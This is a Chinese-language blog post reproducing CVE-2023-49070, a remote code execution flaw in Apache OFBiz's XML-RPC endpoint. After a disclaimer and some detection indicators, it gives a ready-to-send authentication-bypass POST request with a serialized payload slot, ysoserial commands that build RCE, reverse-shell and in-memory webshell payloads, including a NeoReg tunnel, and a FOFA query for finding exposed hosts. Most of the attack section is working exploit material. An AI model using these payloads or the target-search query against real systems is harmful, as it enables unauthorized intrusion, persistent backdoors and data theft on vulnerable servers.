Apache Ofbiz XML-RPC RCE (CVE-2023-49070) [漏洞复现]
Apache Ofbiz XML-RPC RCE
免责声明
本人发布的内容仅作为测试和学习交流,禁止用于未授权场景。任何人不得将其用于非法目的。我方对于阅读本文技术引起的法律责任概不负责。
--->组件介绍
Apache OFBiz是一个电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。
--->漏洞描述
2020年,为修复 CVE-2020-9496 增加权限校验,存在绕过。2021年,增加 Filter 用于拦截 XMLRPC 中的恶意请求,存在绕过。2023年四月,彻底删除xmlrpc handler 以避免同类型的漏洞产生尽管主分支在四月份已经移除了XML-RPC组件,但在Apache OFBiz的正式发布版本中,仅最新版本18.12.10彻底废除了XML-RPC功能。
流量分析: 攻击者利用这个漏洞时,会发送包含用户名和密码的 HTTP 请求到 XML-RPC 接口。在网络流量中,这可能表现为对 /webtools/control/xmlrpc 的异常访问请求。
异常请求内容: 利用 Filter 绕过机制的请求可能包含不寻常的 URI 结构,如使用分号或路径穿越技术(./)。
特定的错误日志: 在尝试进行反序列化攻击时,可能会在日志中观察到相关错误或异常信息,尤其是与XML-RPC 组件相关的。
漏洞复现
--->影响版本
Apache OFBiz < 18.12.10
搭建好环境
payload:
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
回显内存马
java -jar ysoserial-main-49888d3191-1.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho" | base64 | tr -d "\n"
RCE
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"
反弹shell&其他
开启监听
将反弹shell命令base64编码
语句如下
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "bash -c {echo,base64编码的反弹shell指令}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"
其他语句
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho" # TomcatCmdEcho
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatServletMemShellFromJMX" # TomcatServletMemShellFromJMX
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatServletMemShellFromThread" # TomcatServletMemShellFromThread
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatFilterMemShellFromJMX" # TomcatFilterMemShellFromJMX 适用于tomcat7-9
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatFilterMemShellFromThread" # TomcatFilterMemShellFromThread 适用于tomcat7-9
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromJMX" # TomcatListenerMemShellFromJMX
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromThread" # TomcatListenerMemShellFromThread
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatListenerNeoRegFromThread" # TomcatListenerNeoRegFromThread python neoreg.py -k fuckyou
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:SpringInterceptorMemShell" # SpringInterceptorMemShell 链接shell需要使用存在的路由
java -jar ysoserial.jar CommonsBeanutils192NOCC "FILE:E:\Calc.class" # ClassLoaderTemplate
java -jar ysoserial.jar CommonsBeanutils192NOCC "calc" # CommandTemplate CLASS: FILE: 不使用协议开头则默认为执行cmd
--->fofa
app="Apache_OFBiz"
end
微信号 : Ra7ing
扫码关注
交流学习
posted on 2023-12-09 02:01 Ra7ing安全实验室 阅读(1095) 评论(0) 收藏 举报
浙公网安备 33010602011771号